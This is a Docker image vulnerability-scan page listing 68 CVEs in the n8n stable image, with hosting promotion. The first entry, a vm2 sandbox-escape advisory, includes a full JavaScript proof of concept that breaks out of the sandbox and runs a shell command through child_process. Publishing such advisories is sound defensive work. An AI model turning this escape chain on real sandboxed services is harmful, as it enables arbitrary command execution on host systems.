Scan Another

CVE Scan for n8nio/n8n:stable

Docker image vulnerability scanner

68 Known Vulnerabilities in this Docker Image

2
Critical
18
High
39
Medium
9
Low
0
Info/ Unspecified/ Unknown
CVE IDSeverityPackageAffected VersionFixed VersionCVSS Score
CVE-2026-45411criticalpkg:npm/vm2@3.11.2<=3.11.23.11.39.8

Summary

VM2 suffers from a sandbox breakout vulnerability. This allows attackers to write code which can escape from the VM2 sandbox and execute arbitrary commands on the host system.

Details

It is possible to catch a host exception using the yield* expression inside an async generator. When the generator is closed using the return function, the value is awaited on and exceptions thrown in the then call will be catched by the runtime and passed to the yield* iterator as the next value.

PoC

const {VM} = require("vm2");
const vm = new VM();
console.log(vm.run(`
class E extends Error {}
function so(d) {
    if (d > 0) so(d-1);
    const e = new E();
    e.stack;
    throw e;
}
async function* helper() {
    yield* {
        [Symbol.asyncIterator]: ()=>({
            next: v=>({value: v, done: false})
        })
    };
}
async function doCatch(f) {
    const i=helper();
    await i.next();
    const v = await i.return({then(r){f();r();}});
    return v.value;
}
(async function f() {
    let min = 0;
    let max = 10000000;
    while (min<max) {
        const mid = (min+max)>>1;
        const e = await doCatch(()=>so(mid));
        if (e.name==="RangeError" && !(e instanceof RangeError)) {
            e.constructor.constructor("return process")().mainModule.require('child_process').execSync('touch pwned');
            return;
        }
        if (e instanceof E) {
            min = mid+1;
        } else {
            max = mid;
        }
    }
})();
`));

Impact

Attackers can perform Remote Code Execution under the assumption that arbitrary code can be executed inside the context of a vm2 sandbox.

Package URL(s):
  • pkg:npm/vm2@3.11.2
CVE-2026-44990criticalpkg:npm/sanitize-html@2.12.1<=2.17.3not fixed9.3
CVE-2026-33164highlibde265<=1.0.15-r1not fixed8.7
CVE-2026-44665highpkg:npm/fast-xml-builder@1.1.5<=1.1.61.1.78.7
CVE-2026-44291highpkg:npm/protobufjs@7.5.5<=7.5.57.5.68.1
CVE-2023-30533highpkg:npm/xlsx@0.20.2>=0not fixed7.8
CVE-2026-44293highpkg:npm/protobufjs@7.5.5<=7.5.57.5.67.7
CVE-2024-22363highpkg:npm/xlsx@0.20.2>=0not fixed7.5
CVE-2026-27135highnghttp2-libs<1.68.11.68.17.5
CVE-2026-35385highopenssh<=10.0_p1-r10not fixed7.5

Severity Levels

Exploitation could lead to severe consequences, such as system compromise or data loss. Requires immediate attention.

Vulnerability could be exploited relatively easily and lead to significant impact. Requires prompt attention.

Exploitation is possible but might require specific conditions. Impact is moderate. Should be addressed in a timely manner.

Exploitation is difficult or impact is minimal. Address when convenient or as part of regular maintenance.

Severity is not determined, informational, or negligible. Review based on context.

Sliplane Icon
About Sliplane

Sliplane is a simple container hosting solution. It enables you to deploy your containers in the cloud within minutes and scale up as you grow.

Try Sliplane for free

About the CVE Scanner

What is a CVE?

CVE stands for Common Vulnerabilities and Exposures. It is a standardized identifier for known security vulnerabilities, allowing developers and organizations to track and address potential risks effectively. For more information, visit cve.mitre.org.

About the CVE Scanner

The CVE Scanner is a powerful tool that helps you identify known vulnerabilities in your Docker images. By scanning your images against a comprehensive database of Common Vulnerabilities and Exposures (CVEs), you can ensure that your applications are secure and up-to-date. For more details, checkout the NIST CVE Database.

How the CVE Scanner Works

The CVE Scanner analyzes your Docker images against a comprehensive database of known vulnerabilities. It uses Docker Scout under the hood to provide detailed insights into affected packages, severity levels, and available fixes, empowering you to take immediate action.

Why CVE Scanning is Essential for Your Docker Images

With the rise of supply chain attacks, ensuring the security of your applications has become more critical than ever. CVE scanning plays a vital role in identifying vulnerabilities that could be exploited by attackers, especially those introduced through dependencies and third-party components. Regularly scanning and securing your Docker images is essential to protect your applications from these evolving threats.

Benefits of CVE Scanning

  • Enhanced Security: Detect and mitigate vulnerabilities before they are exploited.
  • Compliance: Meet industry standards and regulatory requirements for secure software.
  • Proactive Maintenance: Stay ahead of potential threats by addressing vulnerabilities early.

The Importance of Patching Docker Images

Patching your Docker images is a critical step in maintaining the security and stability of your applications. By regularly updating your images to include the latest security patches, you can address known vulnerabilities and reduce the risk of exploitation. This proactive approach ensures that your applications remain resilient against emerging threats and helps maintain compliance with security best practices.

Want to deploy this image?

Try out Sliplane - a simple Docker hosting solution. It provides you with the tools to deploy, manage and scale your containerized applications.

Connect Github